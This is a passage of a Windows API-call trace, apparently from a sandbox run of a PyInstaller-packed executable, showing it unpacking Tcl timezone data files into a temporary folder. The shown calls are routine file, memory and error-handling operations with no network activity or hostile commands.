lpFileInformation=0x4f8d4c) returned 1 [0042.814] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.814] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.815] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.815] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.815] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.815] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.815] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.815] CloseHandle (hObject=0x10c) returned 1 [0042.815] GetLastError () returned 0x0 [0042.815] SetLastError (dwErrCode=0x0) [0042.815] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Tiraspol") returned 72 [0042.815] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Tiraspol" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe\\tiraspol"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0042.815] GetLastError () returned 0x2 [0042.815] SetLastError (dwErrCode=0x2) [0042.815] GetLastError () returned 0x2 [0042.815] SetLastError (dwErrCode=0x2) [0042.815] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Tiraspol", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Tiraspol", lpFilePart=0x0) returned 0x47 [0042.815] GetLastError () returned 0x2 [0042.815] SetLastError (dwErrCode=0x2) [0042.815] GetLastError () returned 0x2 [0042.815] SetLastError (dwErrCode=0x2) [0042.815] GetLastError () returned 0x2 [0042.815] SetLastError (dwErrCode=0x2) [0042.815] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Tiraspol") returned 72 [0042.815] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0042.815] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Tiraspol" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe\\tiraspol"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.816] GetFileType (hFile=0x10c) returned 0x1 [0042.816] htonl (hostlong=0xb8000000) returned 0xb8 [0042.816] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.816] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xb8, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xb8, lpOverlapped=0x0) returned 1 [0042.816] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.817] CloseHandle (hObject=0x10c) returned 1 [0042.817] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0042.817] htonl (hostlong=0x30000000) returned 0x30 [0042.817] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0042.817] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0042.817] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.817] GetFileType (hFile=0x10c) returned 0x1 [0042.817] htonl (hostlong=0x7ba25c00) returned 0x5ca27b [0042.817] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x61527b, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0042.817] htonl (hostlong=0xf9050000) returned 0x5f9 [0042.817] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x5f9) returned 0x550600 [0042.817] htonl (hostlong=0xf9050000) returned 0x5f9 [0042.817] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.817] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0042.817] htonl (hostlong=0x771c0000) returned 0x1c77 [0042.817] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1c77) returned 0x561090 [0042.817] htonl (hostlong=0xf9050000) returned 0x5f9 [0042.817] htonl (hostlong=0x771c0000) returned 0x1c77 [0042.817] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562d10 [0042.817] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562d10 | out: hHeap=0x530000) returned 1 [0042.817] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0042.818] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.818] CloseHandle (hObject=0x10c) returned 1 [0042.818] GetLastError () returned 0x0 [0042.818] SetLastError (dwErrCode=0x0) [0042.818] GetLastError () returned 0x0 [0042.818] SetLastError (dwErrCode=0x0) [0042.818] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0042.818] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.818] GetFileType (hFile=0x10c) returned 0x1 [0042.818] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.818] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.818] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.818] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.818] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.818] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.818] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.818] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.818] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.818] CloseHandle (hObject=0x10c) returned 1 [0042.818] GetLastError () returned 0x0 [0042.818] SetLastError (dwErrCode=0x0) [0042.818] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0042.818] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.818] GetFileType (hFile=0x10c) returned 0x1 [0042.818] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.819] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.819] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.819] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.819] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.819] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.819] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.819] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.819] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.819] CloseHandle (hObject=0x10c) returned 1 [0042.819] GetLastError () returned 0x0 [0042.819] SetLastError (dwErrCode=0x0) [0042.819] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe") returned 63 [0042.819] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.819] GetFileType (hFile=0x10c) returned 0x1 [0042.819] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.819] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.819] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.819] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.819] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.819] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.819] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.819] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.819] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.819] CloseHandle (hObject=0x10c) returned 1 [0042.819] GetLastError () returned 0x0 [0042.819] SetLastError (dwErrCode=0x0) [0042.820] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Uzhgorod") returned 72 [0042.820] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Uzhgorod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe\\uzhgorod"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0042.820] GetLastError () returned 0x2 [0042.820] SetLastError (dwErrCode=0x2) [0042.820] GetLastError () returned 0x2 [0042.820] SetLastError (dwErrCode=0x2) [0042.820] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Uzhgorod", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Uzhgorod", lpFilePart=0x0) returned 0x47 [0042.820] GetLastError () returned 0x2 [0042.820] SetLastError (dwErrCode=0x2) [0042.820] GetLastError () returned 0x2 [0042.820] SetLastError (dwErrCode=0x2) [0042.820] GetLastError () returned 0x2 [0042.820] SetLastError (dwErrCode=0x2) [0042.820] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Uzhgorod") returned 72 [0042.820] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0042.820] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Uzhgorod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe\\uzhgorod"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.821] GetFileType (hFile=0x10c) returned 0x1 [0042.821] htonl (hostlong=0x771c0000) returned 0x1c77 [0042.821] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x1000, lpOverlapped=0x0) returned 1 [0042.822] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.822] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xc77, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xc77, lpOverlapped=0x0) returned 1 [0042.822] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.822] CloseHandle (hObject=0x10c) returned 1 [0042.822] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0042.823] htonl (hostlong=0x30000000) returned 0x30 [0042.823] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0042.823] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0042.823] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.823] GetFileType (hFile=0x10c) returned 0x1 [0042.823] htonl (hostlong=0x74a85c00) returned 0x5ca874 [0042.823] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x615874, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0042.823] htonl (hostlong=0xac050000) returned 0x5ac [0042.823] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x5ac) returned 0x550600 [0042.823] htonl (hostlong=0xac050000) returned 0x5ac [0042.823] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.824] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0042.824] htonl (hostlong=0xff1a0000) returned 0x1aff [0042.824] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1aff) returned 0x561090 [0042.824] htonl (hostlong=0xac050000) returned 0x5ac [0042.824] htonl (hostlong=0xff1a0000) returned 0x1aff [0042.824] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562b98 [0042.824] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562b98 | out: hHeap=0x530000) returned 1 [0042.824] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0042.824] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.824] CloseHandle (hObject=0x10c) returned 1 [0042.824] GetLastError () returned 0x0 [0042.825] SetLastError (dwErrCode=0x0) [0042.825] GetLastError () returned 0x0 [0042.825] SetLastError (dwErrCode=0x0) [0042.825] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0042.825] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.825] GetFileType (hFile=0x10c) returned 0x1 [0042.825] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.825] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.825] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.825] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.825] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.825] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.825] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.825] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.825] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.825] CloseHandle (hObject=0x10c) returned 1 [0042.825] GetLastError () returned 0x0 [0042.825] SetLastError (dwErrCode=0x0) [0042.825] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0042.825] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.826] GetFileType (hFile=0x10c) returned 0x1 [0042.826] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.826] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.826] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.826] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.826] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.826] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.826] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.826] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.826] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.826] CloseHandle (hObject=0x10c) returned 1 [0042.826] GetLastError () returned 0x0 [0042.826] SetLastError (dwErrCode=0x0) [0042.826] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe") returned 63 [0042.826] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.826] GetFileType (hFile=0x10c) returned 0x1 [0042.826] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.826] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.826] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.826] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.826] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.826] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.826] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.826] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.827] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, 